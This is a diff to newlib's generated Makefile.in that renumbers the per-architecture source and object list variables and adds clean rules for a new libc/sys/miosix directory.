++@HAVE_LIBC_MACHINE_FRV_TRUE@am__append_81 = libc/machine/frv/setjmp.S ++@HAVE_LIBC_MACHINE_FT32_TRUE@am__append_82 = libc/machine/ft32/setjmp.S libc/machine/ft32/strlen.S libc/machine/ft32/memcpy.S libc/machine/ft32/strcmp.S libc/machine/ft32/memset.S libc/machine/ft32/strcpy.S ++@HAVE_LIBC_MACHINE_H8300_TRUE@am__append_83 = \ + @HAVE_LIBC_MACHINE_H8300_TRUE@ libc/machine/h8300/reg_memcpy.S libc/machine/h8300/reg_memset.S libc/machine/h8300/strcmp.S libc/machine/h8300/memcpy.S libc/machine/h8300/memset.S \ + @HAVE_LIBC_MACHINE_H8300_TRUE@ libc/machine/h8300/setjmp.S libc/machine/h8300/h8sx_strcpy.S + +-@HAVE_LIBC_MACHINE_H8500_TRUE@am__append_83 = libc/machine/h8500/divsi3.c libc/machine/h8500/mulsi3.c libc/machine/h8500/divhi3.S libc/machine/h8500/shifts.c libc/machine/h8500/cmpsi.c libc/machine/h8500/psi.S libc/machine/h8500/setjmp.S +-@HAVE_LIBC_MACHINE_HPPA_TRUE@am__append_84 = \ ++@HAVE_LIBC_MACHINE_H8500_TRUE@am__append_84 = libc/machine/h8500/divsi3.c libc/machine/h8500/mulsi3.c libc/machine/h8500/divhi3.S libc/machine/h8500/shifts.c libc/machine/h8500/cmpsi.c libc/machine/h8500/psi.S libc/machine/h8500/setjmp.S ++@HAVE_LIBC_MACHINE_HPPA_TRUE@am__append_85 = \ + @HAVE_LIBC_MACHINE_HPPA_TRUE@ libc/machine/hppa/memchr.S libc/machine/hppa/memcmp.S libc/machine/hppa/memcpy.S libc/machine/hppa/memset.S \ + @HAVE_LIBC_MACHINE_HPPA_TRUE@ libc/machine/hppa/setjmp.S \ + @HAVE_LIBC_MACHINE_HPPA_TRUE@ libc/machine/hppa/strcat.S libc/machine/hppa/strcmp.S \ + @HAVE_LIBC_MACHINE_HPPA_TRUE@ libc/machine/hppa/strcpy.S libc/machine/hppa/strlen.S libc/machine/hppa/strncat.S libc/machine/hppa/strncmp.S libc/machine/hppa/strncpy.S + +-@HAVE_LIBC_MACHINE_I386_TRUE@@MACH_ADD_SETJMP_TRUE@am__append_85 = libc/machine/i386/setjmp.S +-@HAVE_LIBC_MACHINE_I386_TRUE@am__append_86 = \ ++@HAVE_LIBC_MACHINE_I386_TRUE@@MACH_ADD_SETJMP_TRUE@am__append_86 = libc/machine/i386/setjmp.S ++@HAVE_LIBC_MACHINE_I386_TRUE@am__append_87 = \ + @HAVE_LIBC_MACHINE_I386_TRUE@ libc/machine/i386/memchr.S libc/machine/i386/memcmp.S libc/machine/i386/memcpy.S libc/machine/i386/memset.S libc/machine/i386/strchr.S \ + @HAVE_LIBC_MACHINE_I386_TRUE@ libc/machine/i386/memmove.S libc/machine/i386/strlen.S libc/machine/i386/i386mach.h + +-@HAVE_LIBC_MACHINE_I960_TRUE@am__append_87 = \ ++@HAVE_LIBC_MACHINE_I960_TRUE@am__append_88 = \ + @HAVE_LIBC_MACHINE_I960_TRUE@ libc/machine/i960/memccpy_ca.S \ + @HAVE_LIBC_MACHINE_I960_TRUE@ libc/machine/i960/memccpy.S \ + @HAVE_LIBC_MACHINE_I960_TRUE@ libc/machine/i960/memchr_ca.S \ +@@ -789,43 +790,43 @@ + @HAVE_LIBC_MACHINE_I960_TRUE@ libc/machine/i960/strpbrk.S \ + @HAVE_LIBC_MACHINE_I960_TRUE@ libc/machine/i960/strrchr.S + +-@HAVE_LIBC_MACHINE_IQ2000_TRUE@am__append_88 = libc/machine/iq2000/setjmp.S +-@HAVE_LIBC_MACHINE_LM32_TRUE@am__append_89 = libc/machine/lm32/setjmp.S +-@HAVE_LIBC_MACHINE_M32C_TRUE@am__append_90 = libc/machine/m32c/setjmp.S +-@HAVE_LIBC_MACHINE_M32R_TRUE@am__append_91 = libc/machine/m32r/setjmp.S +-@HAVE_LIBC_MACHINE_M68HC11_TRUE@am__append_92 = libc/machine/m68hc11/setjmp.S +-@HAVE_LIBC_MACHINE_M68K_TRUE@am__append_93 = libc/machine/m68k/setjmp.S libc/machine/m68k/strcpy.c libc/machine/m68k/strlen.c libc/machine/m68k/memcpy.S libc/machine/m68k/memset.S +-@HAVE_LIBC_MACHINE_M88K_TRUE@am__append_94 = libc/machine/m88k/setjmp.S +-@HAVE_LIBC_MACHINE_MEP_TRUE@am__append_95 = libc/machine/mep/setjmp.S +-@HAVE_LIBC_MACHINE_MICROBLAZE_TRUE@am__append_96 = libc/machine/microblaze/strlen.c libc/machine/microblaze/strcmp.c libc/machine/microblaze/strcpy.c libc/machine/microblaze/setjmp.S libc/machine/microblaze/longjmp.S +-@HAVE_LIBC_MACHINE_MIPS_TRUE@am__append_97 = libc/machine/mips/setjmp.S libc/machine/mips/strlen.c libc/machine/mips/strcmp.S libc/machine/mips/strncpy.c libc/machine/mips/memset.c libc/machine/mips/memcpy.c +-@HAVE_LIBC_MACHINE_MN10200_TRUE@am__append_98 = libc/machine/mn10200/setjmp.S +-@HAVE_LIBC_MACHINE_MN10300_TRUE@am__append_99 = \ ++@HAVE_LIBC_MACHINE_IQ2000_TRUE@am__append_89 = libc/machine/iq2000/setjmp.S ++@HAVE_LIBC_MACHINE_LM32_TRUE@am__append_90 = libc/machine/lm32/setjmp.S ++@HAVE_LIBC_MACHINE_M32C_TRUE@am__append_91 = libc/machine/m32c/setjmp.S ++@HAVE_LIBC_MACHINE_M32R_TRUE@am__append_92 = libc/machine/m32r/setjmp.S ++@HAVE_LIBC_MACHINE_M68HC11_TRUE@am__append_93 = libc/machine/m68hc11/setjmp.S ++@HAVE_LIBC_MACHINE_M68K_TRUE@am__append_94 = libc/machine/m68k/setjmp.S libc/machine/m68k/strcpy.c libc/machine/m68k/strlen.c libc/machine/m68k/memcpy.S libc/machine/m68k/memset.S ++@HAVE_LIBC_MACHINE_M88K_TRUE@am__append_95 = libc/machine/m88k/setjmp.S ++@HAVE_LIBC_MACHINE_MEP_TRUE@am__append_96 = libc/machine/mep/setjmp.S ++@HAVE_LIBC_MACHINE_MICROBLAZE_TRUE@am__append_97 = libc/machine/microblaze/strlen.c libc/machine/microblaze/strcmp.c libc/machine/microblaze/strcpy.c libc/machine/microblaze/setjmp.S libc/machine/microblaze/longjmp.S ++@HAVE_LIBC_MACHINE_MIPS_TRUE@am__append_98 = libc/machine/mips/setjmp.S libc/machine/mips/strlen.c libc/machine/mips/strcmp.S libc/machine/mips/strncpy.c libc/machine/mips/memset.c libc/machine/mips/memcpy.c ++@HAVE_LIBC_MACHINE_MN10200_TRUE@am__append_99 = libc/machine/mn10200/setjmp.S ++@HAVE_LIBC_MACHINE_MN10300_TRUE@am__append_100 = \ + @HAVE_LIBC_MACHINE_MN10300_TRUE@ libc/machine/mn10300/setjmp.S libc/machine/mn10300/memchr.S libc/machine/mn10300/memcmp.S libc/machine/mn10300/memcpy.S libc/machine/mn10300/memset.S libc/machine/mn10300/strchr.S \ + @HAVE_LIBC_MACHINE_MN10300_TRUE@ libc/machine/mn10300/strcmp.S libc/machine/mn10300/strcpy.S libc/machine/mn10300/strlen.S + +-@HAVE_LIBC_MACHINE_MOXIE_TRUE@am__append_100 = libc/machine/moxie/setjmp.S +-@HAVE_LIBC_MACHINE_MSP430_TRUE@am__append_101 = libc/machine/msp430/setjmp.S +-@HAVE_LIBC_MACHINE_MSP430_TRUE@@NEWLIB_NANO_FORMATTED_IO_TRUE@am__append_102 = libc/machine/msp430/tiny-puts.c libc/machine/msp430/tiny-printf.c +-@HAVE_LIBC_MACHINE_MT_TRUE@am__append_103 = libc/machine/mt/setjmp.S +-@HAVE_LIBC_MACHINE_NDS32_TRUE@am__append_104 = \ ++@HAVE_LIBC_MACHINE_MOXIE_TRUE@am__append_101 = libc/machine/moxie/setjmp.S ++@HAVE_LIBC_MACHINE_MSP430_TRUE@am__append_102 = libc/machine/msp430/setjmp.S ++@HAVE_LIBC_MACHINE_MSP430_TRUE@@NEWLIB_NANO_FORMATTED_IO_TRUE@am__append_103 = libc/machine/msp430/tiny-puts.c libc/machine/msp430/tiny-printf.c ++@HAVE_LIBC_MACHINE_MT_TRUE@am__append_104 = libc/machine/mt/setjmp.S ++@HAVE_LIBC_MACHINE_NDS32_TRUE@am__append_105 = \ + @HAVE_LIBC_MACHINE_NDS32_TRUE@ libc/machine/nds32/abort.c \ + @HAVE_LIBC_MACHINE_NDS32_TRUE@ libc/machine/nds32/setjmp.S \ + @HAVE_LIBC_MACHINE_NDS32_TRUE@ libc/machine/nds32/strcmp.S \ + @HAVE_LIBC_MACHINE_NDS32_TRUE@ libc/machine/nds32/strcpy.S + +-@HAVE_LIBC_MACHINE_NDS32_TRUE@@IS_NDS32_ISA_V3M_FALSE@am__append_105 = libc/machine/nds32/memcpy.S libc/machine/nds32/memset.S +-@HAVE_LIBC_MACHINE_NECV70_TRUE@am__append_106 = libc/machine/necv70/fastmath.S libc/machine/necv70/setjmp.S +-@HAVE_LIBC_MACHINE_NIOS2_TRUE@am__append_107 = libc/machine/nios2/setjmp.s +-@HAVE_LIBC_MACHINE_NVPTX_TRUE@am__append_108 = \ ++@HAVE_LIBC_MACHINE_NDS32_TRUE@@IS_NDS32_ISA_V3M_FALSE@am__append_106 = libc/machine/nds32/memcpy.S libc/machine/nds32/memset.S ++@HAVE_LIBC_MACHINE_NECV70_TRUE@am__append_107 = libc/machine/necv70/fastmath.S libc/machine/necv70/setjmp.S ++@HAVE_LIBC_MACHINE_NIOS2_TRUE@am__append_108 = libc/machine/nios2/setjmp.s ++@HAVE_LIBC_MACHINE_NVPTX_TRUE@am__append_109 = \ + @HAVE_LIBC_MACHINE_NVPTX_TRUE@ libc/machine/nvptx/_exit.c \ + @HAVE_LIBC_MACHINE_NVPTX_TRUE@ libc/machine/nvptx/calloc.c libc/machine/nvptx/callocr.c libc/machine/nvptx/malloc.c libc/machine/nvptx/mallocr.c libc/machine/nvptx/realloc.c libc/machine/nvptx/reallocr.c \ + @HAVE_LIBC_MACHINE_NVPTX_TRUE@ libc/machine/nvptx/free.c libc/machine/nvptx/write.c libc/machine/nvptx/assert.c libc/machine/nvptx/puts.c libc/machine/nvptx/putchar.c libc/machine/nvptx/printf.c libc/machine/nvptx/abort.c \ + @HAVE_LIBC_MACHINE_NVPTX_TRUE@ libc/machine/nvptx/misc.c libc/machine/nvptx/clock.c + +-@HAVE_LIBC_MACHINE_OR1K_TRUE@am__append_109 = libc/machine/or1k/setjmp.S +-@HAVE_LIBC_MACHINE_POWERPC_TRUE@am__append_110 = libc/machine/powerpc/setjmp.S +-@HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@am__append_111 = \ ++@HAVE_LIBC_MACHINE_OR1K_TRUE@am__append_110 = libc/machine/or1k/setjmp.S ++@HAVE_LIBC_MACHINE_POWERPC_TRUE@am__append_111 = libc/machine/powerpc/setjmp.S ++@HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@am__append_112 = \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@ libc/machine/powerpc/vfprintf.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@ libc/machine/powerpc/vfscanf.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@ libc/machine/powerpc/vec_malloc.c \ +@@ -836,7 +837,7 @@ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@ libc/machine/powerpc/vec_callocr.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_ALTIVEC_TRUE@ libc/machine/powerpc/vec_reallocr.c + +-@HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@am__append_112 = \ ++@HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@am__append_113 = \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@ libc/machine/powerpc/atosfix16.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@ libc/machine/powerpc/atosfix32.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@ libc/machine/powerpc/atosfix64.c \ +@@ -854,21 +855,21 @@ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@ libc/machine/powerpc/vfprintf.c \ + @HAVE_LIBC_MACHINE_POWERPC_TRUE@@HAVE_POWERPC_SPE_TRUE@ libc/machine/powerpc/vfscanf.c + +-@HAVE_LIBC_MACHINE_PRU_TRUE@am__append_113 = libc/machine/pru/setjmp.s +-@HAVE_LIBC_MACHINE_RISCV_TRUE@am__append_114 = \ ++@HAVE_LIBC_MACHINE_PRU_TRUE@am__append_114 = libc/machine/pru/setjmp.s ++@HAVE_LIBC_MACHINE_RISCV_TRUE@am__append_115 = \ + @HAVE_LIBC_MACHINE_RISCV_TRUE@ libc/machine/riscv/memmove-asm.S libc/machine/riscv/memmove.c libc/machine/riscv/memset.S libc/machine/riscv/memcpy-asm.S libc/machine/riscv/memcpy.c libc/machine/riscv/strlen.c \ + @HAVE_LIBC_MACHINE_RISCV_TRUE@ libc/machine/riscv/strcpy.c libc/machine/riscv/stpcpy.c libc/machine/riscv/strcmp.S libc/machine/riscv/memchr.c libc/machine/riscv/memrchr.c libc/machine/riscv/setjmp.S libc/machine/riscv/ieeefp.c libc/machine/riscv/ffs.c + +-@HAVE_LIBC_MACHINE_RL78_TRUE@am__append_115 = libc/machine/rl78/setjmp.S +-@HAVE_LIBC_MACHINE_RX_TRUE@am__append_116 = \ ++@HAVE_LIBC_MACHINE_RL78_TRUE@am__append_116 = libc/machine/rl78/setjmp.S ++@HAVE_LIBC_MACHINE_RX_TRUE@am__append_117 = \ + @HAVE_LIBC_MACHINE_RX_TRUE@ libc/machine/rx/setjmp.S \ + @HAVE_LIBC_MACHINE_RX_TRUE@ libc/machine/rx/strncmp.S libc/machine/rx/strcmp.S libc/machine/rx/strncpy.S libc/machine/rx/strcpy.S libc/machine/rx/strlen.S libc/machine/rx/strcat.S libc/machine/rx/strncat.S \ + @HAVE_LIBC_MACHINE_RX_TRUE@ libc/machine/rx/memset.S libc/machine/rx/mempcpy.S libc/machine/rx/memcpy.S libc/machine/rx/memmove.S libc/machine/rx/memchr.S + +-@HAVE_LIBC_MACHINE_SH_TRUE@am__append_117 = libc/machine/sh/memcpy.S libc/machine/sh/memset.S libc/machine/sh/setjmp.S libc/machine/sh/strcpy.S libc/machine/sh/strlen.S libc/machine/sh/strcmp.S +-@HAVE_LIBC_MACHINE_SH_TRUE@@SH64_TRUE@am__append_118 = libc/machine/sh/strncpy.S +-@HAVE_LIBC_MACHINE_SPARC_TRUE@am__append_119 = libc/machine/sparc/scan.c libc/machine/sparc/shuffle.c libc/machine/sparc/setjmp.S +-@HAVE_LIBC_MACHINE_SPU_TRUE@am__append_120 = \ ++@HAVE_LIBC_MACHINE_SH_TRUE@am__append_118 = libc/machine/sh/memcpy.S libc/machine/sh/memset.S libc/machine/sh/setjmp.S libc/machine/sh/strcpy.S libc/machine/sh/strlen.S libc/machine/sh/strcmp.S ++@HAVE_LIBC_MACHINE_SH_TRUE@@SH64_TRUE@am__append_119 = libc/machine/sh/strncpy.S ++@HAVE_LIBC_MACHINE_SPARC_TRUE@am__append_120 = libc/machine/sparc/scan.c libc/machine/sparc/shuffle.c libc/machine/sparc/setjmp.S ++@HAVE_LIBC_MACHINE_SPU_TRUE@am__append_121 = \ + @HAVE_LIBC_MACHINE_SPU_TRUE@ libc/machine/spu/setjmp.S libc/machine/spu/assert.c libc/machine/spu/clearerr.c libc/machine/spu/creat.c libc/machine/spu/fclose.c libc/machine/spu/feof.c \ + @HAVE_LIBC_MACHINE_SPU_TRUE@ libc/machine/spu/ferror.c libc/machine/spu/fflush.c libc/machine/spu/fgetc.c libc/machine/spu/fgetpos.c libc/machine/spu/fgets.c libc/machine/spu/fileno.c libc/machine/spu/fiprintf.S \ + @HAVE_LIBC_MACHINE_SPU_TRUE@ libc/machine/spu/fiscanf.S libc/machine/spu/fopen.c libc/machine/spu/fprintf.S libc/machine/spu/fputc.c libc/machine/spu/fputs.c libc/machine/spu/fread.c libc/machine/spu/freopen.c \ +@@ -886,7 +887,7 @@ + @HAVE_LIBC_MACHINE_SPU_TRUE@ libc/machine/spu/spu_timer_slih.c libc/machine/spu/spu_timer_slih_reg.c libc/machine/spu/spu_timer_svcs.c \ + @HAVE_LIBC_MACHINE_SPU_TRUE@ libc/machine/spu/spu_timer_stop.c libc/machine/spu/spu_timer_free.c libc/machine/spu/spu_timebase.c libc/machine/spu/fdopen.c + +-@HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@am__append_121 = \ ++@HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@am__append_122 = \ + @HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@ libc/machine/spu/calloc_ea.c libc/machine/spu/free_ea.c libc/machine/spu/malloc_ea.c libc/machine/spu/memchr_ea.c libc/machine/spu/memcmp_ea.c \ + @HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@ libc/machine/spu/memcpy_ea.c libc/machine/spu/memmove_ea.c libc/machine/spu/memset_ea.c libc/machine/spu/mmap_ea.c libc/machine/spu/mremap_ea.c libc/machine/spu/msync_ea.c \ + @HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@ libc/machine/spu/munmap_ea.c libc/machine/spu/posix_memalign_ea.c libc/machine/spu/realloc_ea.c libc/machine/spu/strcat_ea.c libc/machine/spu/strchr_ea.c \ +@@ -895,18 +896,18 @@ + @HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@ libc/machine/spu/pread_ea.c libc/machine/spu/readv_ea.c libc/machine/spu/write_ea.c libc/machine/spu/pwrite_ea.c libc/machine/spu/writev_ea.c libc/machine/spu/spu-mcount.S \ + @HAVE_LIBC_MACHINE_SPU_TRUE@@HAVE_SPU_EA_TRUE@ libc/machine/spu/spu-gmon.c + +-@HAVE_LIBC_MACHINE_TIC4X_TRUE@am__append_122 = libc/machine/tic4x/setjmp.S +-@HAVE_LIBC_MACHINE_TIC6X_TRUE@am__append_123 = libc/machine/tic6x/setjmp.S +-@HAVE_LIBC_MACHINE_TIC80_TRUE@am__append_124 = libc/machine/tic80/setjmp.S +-@HAVE_LIBC_MACHINE_V850_TRUE@am__append_125 = libc/machine/v850/setjmp.S +-@HAVE_LIBC_MACHINE_VISIUM_TRUE@am__append_126 = libc/machine/visium/memcpy.c libc/machine/visium/memset.c libc/machine/visium/memmove.c libc/machine/visium/setjmp.S +-@HAVE_LIBC_MACHINE_W65_TRUE@am__append_127 = \ ++@HAVE_LIBC_MACHINE_TIC4X_TRUE@am__append_123 = libc/machine/tic4x/setjmp.S ++@HAVE_LIBC_MACHINE_TIC6X_TRUE@am__append_124 = libc/machine/tic6x/setjmp.S ++@HAVE_LIBC_MACHINE_TIC80_TRUE@am__append_125 = libc/machine/tic80/setjmp.S ++@HAVE_LIBC_MACHINE_V850_TRUE@am__append_126 = libc/machine/v850/setjmp.S ++@HAVE_LIBC_MACHINE_VISIUM_TRUE@am__append_127 = libc/machine/visium/memcpy.c libc/machine/visium/memset.c libc/machine/visium/memmove.c libc/machine/visium/setjmp.S ++@HAVE_LIBC_MACHINE_W65_TRUE@am__append_128 = \ + @HAVE_LIBC_MACHINE_W65_TRUE@ libc/machine/w65/udivhi3.S libc/machine/w65/umodhi3.S libc/machine/w65/smulhi3.S libc/machine/w65/lshrhi.S libc/machine/w65/sdivhi3.S libc/machine/w65/mulsi3.c \ + @HAVE_LIBC_MACHINE_W65_TRUE@ libc/machine/w65/divsi3.c libc/machine/w65/cmpsi.c + +-@HAVE_LIBC_MACHINE_X86_64_TRUE@am__append_128 = libc/machine/x86_64/setjmp.S libc/machine/x86_64/memcpy.S libc/machine/x86_64/memset.S +-@HAVE_LIBC_MACHINE_XC16X_TRUE@am__append_129 = libc/machine/xc16x/setjmp.S libc/machine/xc16x/puts.c libc/machine/xc16x/putchar.c +-@HAVE_LIBC_MACHINE_XSTORMY16_TRUE@am__append_130 = \ ++@HAVE_LIBC_MACHINE_X86_64_TRUE@am__append_129 = libc/machine/x86_64/setjmp.S libc/machine/x86_64/memcpy.S libc/machine/x86_64/memset.S ++@HAVE_LIBC_MACHINE_XC16X_TRUE@am__append_130 = libc/machine/xc16x/setjmp.S libc/machine/xc16x/puts.c libc/machine/xc16x/putchar.c ++@HAVE_LIBC_MACHINE_XSTORMY16_TRUE@am__append_131 = \ + @HAVE_LIBC_MACHINE_XSTORMY16_TRUE@ libc/machine/xstormy16/setjmp.S \ + @HAVE_LIBC_MACHINE_XSTORMY16_TRUE@ libc/machine/xstormy16/calloc.c \ + @HAVE_LIBC_MACHINE_XSTORMY16_TRUE@ libc/machine/xstormy16/callocr.c \ +@@ -921,13 +922,13 @@ + @HAVE_LIBC_MACHINE_XSTORMY16_TRUE@ libc/machine/xstormy16/reallocr.c \ + @HAVE_LIBC_MACHINE_XSTORMY16_TRUE@ libc/machine/xstormy16/valloc.c + +-@HAVE_LIBC_MACHINE_XTENSA_TRUE@am__append_131 = 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libm/mathfp/e_atanh.def \ + @NEWLIB_HW_FP_TRUE@ libm/mathfp/e_hypot.def \ +@@ -957,9 +958,9 @@ + @NEWLIB_HW_FP_TRUE@ libm/mathfp/s_tanh.def \ + @NEWLIB_HW_FP_TRUE@ libm/mathfp/w_jn.def + +-@NEWLIB_HW_FP_TRUE@am__append_135 = libm/mathfp/mathfp.tex +-@NEWLIB_HW_FP_FALSE@am__append_136 = $(libm_math_src) $(libm_math_fsrc) $(libm_math_lsrc) +-@NEWLIB_HW_FP_FALSE@am__append_137 = \ ++@NEWLIB_HW_FP_TRUE@am__append_136 = libm/mathfp/mathfp.tex ++@NEWLIB_HW_FP_FALSE@am__append_137 = $(libm_math_src) $(libm_math_fsrc) $(libm_math_lsrc) ++@NEWLIB_HW_FP_FALSE@am__append_138 = \ + @NEWLIB_HW_FP_FALSE@ libm/math/w_acos.def libm/math/w_acosh.def libm/math/w_asin.def libm/math/s_asinh.def \ + @NEWLIB_HW_FP_FALSE@ libm/math/s_atan.def libm/math/w_atan2.def libm/math/w_atanh.def libm/math/w_j0.def \ + @NEWLIB_HW_FP_FALSE@ libm/math/w_cosh.def libm/math/s_erf.def libm/math/w_exp.def libm/math/w_exp2.def \ +@@ -969,41 +970,41 @@ + @NEWLIB_HW_FP_FALSE@ libm/math/w_pow.def libm/math/w_remainder.def libm/math/s_sin.def libm/math/w_sinh.def \ + @NEWLIB_HW_FP_FALSE@ libm/math/w_sqrt.def libm/math/s_tan.def libm/math/s_tanh.def + +-@NEWLIB_HW_FP_FALSE@am__append_138 = libm/math/math.tex +-@HAVE_LONG_DOUBLE_TRUE@am__append_139 = $(libm_common_lsrc) +-@HAVE_FPMATH_H_TRUE@@HAVE_LONG_DOUBLE_TRUE@am__append_140 = $(libm_ld_lsrc) +-@HAVE_FPMATH_H_TRUE@am__append_141 = ++@NEWLIB_HW_FP_FALSE@am__append_139 = libm/math/math.tex ++@HAVE_LONG_DOUBLE_TRUE@am__append_140 = $(libm_common_lsrc) ++@HAVE_FPMATH_H_TRUE@@HAVE_LONG_DOUBLE_TRUE@am__append_141 = $(libm_ld_lsrc) + @HAVE_FPMATH_H_TRUE@am__append_142 = +-@HAVE_LIBM_MACHINE_AARCH64_TRUE@am__append_143 = $(libm_machine_aarch64_src) +-@HAVE_LIBM_MACHINE_AARCH64_TRUE@@HAVE_LONG_DOUBLE_TRUE@am__append_144 = $(libm_ld128_lsrc) +-@HAVE_LIBM_MACHINE_AARCH64_TRUE@am__append_145 = ++@HAVE_FPMATH_H_TRUE@am__append_143 = ++@HAVE_LIBM_MACHINE_AARCH64_TRUE@am__append_144 = $(libm_machine_aarch64_src) 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libc/sys/sh/libc_a-ftruncate.$(OBJEXT) \ + @HAVE_LIBC_SYS_SH_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sh/libc_a-truncate.$(OBJEXT) +-@HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@am__objects_68 = libc/sys/sysmec/libc_a-_exit.$(OBJEXT) \ ++@HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@am__objects_69 = libc/sys/sysmec/libc_a-_exit.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-access.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-chmod.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-chown.$(OBJEXT) \ +@@ -1791,11 +1795,11 @@ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-write.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-times.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/libc_a-gettime.$(OBJEXT) +-@HAVE_LIBC_SYS_SYSNEC810_DIR_TRUE@am__objects_69 = libc/sys/sysnec810/libc_a-io.$(OBJEXT) \ ++@HAVE_LIBC_SYS_SYSNEC810_DIR_TRUE@am__objects_70 = libc/sys/sysnec810/libc_a-io.$(OBJEXT) \ + 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@HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/libc_a-gettime.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/libc_a-rename.$(OBJEXT) +-@HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@am__objects_71 = libc/sys/sysvi386/libc_a-ioctl.$(OBJEXT) \ ++@HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@am__objects_72 = libc/sys/sysvi386/libc_a-ioctl.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-isatty.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-read.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-lseek.$(OBJEXT) \ +@@ -1888,7 +1892,7 @@ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-access.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-_longjmp.$(OBJEXT) \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/libc_a-_setjmp.$(OBJEXT) +-@HAVE_LIBC_SYS_SYSVNECV70_DIR_TRUE@am__objects_72 = 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libc/sys/mmixware/libc_a-_exit.o: libc/sys/mmixware/_exit.c + @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libc_a_CPPFLAGS) $(CPPFLAGS) $(libc_a_CFLAGS) $(CFLAGS) -MT libc/sys/mmixware/libc_a-_exit.o -MD -MP -MF libc/sys/mmixware/$(DEPDIR)/libc_a-_exit.Tpo -c -o libc/sys/mmixware/libc_a-_exit.o `test -f 'libc/sys/mmixware/_exit.c' || echo '$(srcdir)/'`libc/sys/mmixware/_exit.c + @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) libc/sys/mmixware/$(DEPDIR)/libc_a-_exit.Tpo libc/sys/mmixware/$(DEPDIR)/libc_a-_exit.Po +@@ -50684,6 +50750,8 @@ + -rm -f libc/sys/h8500hms/$(am__dirstamp) + -rm -f libc/sys/m88kbug/$(DEPDIR)/$(am__dirstamp) + -rm -f libc/sys/m88kbug/$(am__dirstamp) ++ -rm -f libc/sys/miosix/$(DEPDIR)/$(am__dirstamp) ++ -rm -f libc/sys/miosix/$(am__dirstamp) + -rm -f libc/sys/mmixware/$(DEPDIR)/$(am__dirstamp) + -rm -f libc/sys/mmixware/$(am__dirstamp) + -rm -f libc/sys/netware/$(DEPDIR)/$(am__dirstamp) +@@ -50776,7 +50844,7 @@ + + distclean: distclean-am + -rm -f $(am__CONFIG_DISTCLEAN_FILES) +- -rm -rf libc/argz/$(DEPDIR) libc/ctype/$(DEPDIR) libc/errno/$(DEPDIR) libc/iconv/ccs/$(DEPDIR) libc/iconv/ces/$(DEPDIR) libc/iconv/lib/$(DEPDIR) libc/locale/$(DEPDIR) libc/machine/aarch64/$(DEPDIR) libc/machine/amdgcn/$(DEPDIR) libc/machine/arc/$(DEPDIR) libc/machine/arc64/$(DEPDIR) libc/machine/arm/$(DEPDIR) libc/machine/bfin/$(DEPDIR) libc/machine/cr16/$(DEPDIR) libc/machine/cris/$(DEPDIR) libc/machine/crx/$(DEPDIR) libc/machine/csky/$(DEPDIR) libc/machine/d10v/$(DEPDIR) libc/machine/d30v/$(DEPDIR) libc/machine/epiphany/$(DEPDIR) libc/machine/fr30/$(DEPDIR) libc/machine/frv/$(DEPDIR) libc/machine/ft32/$(DEPDIR) 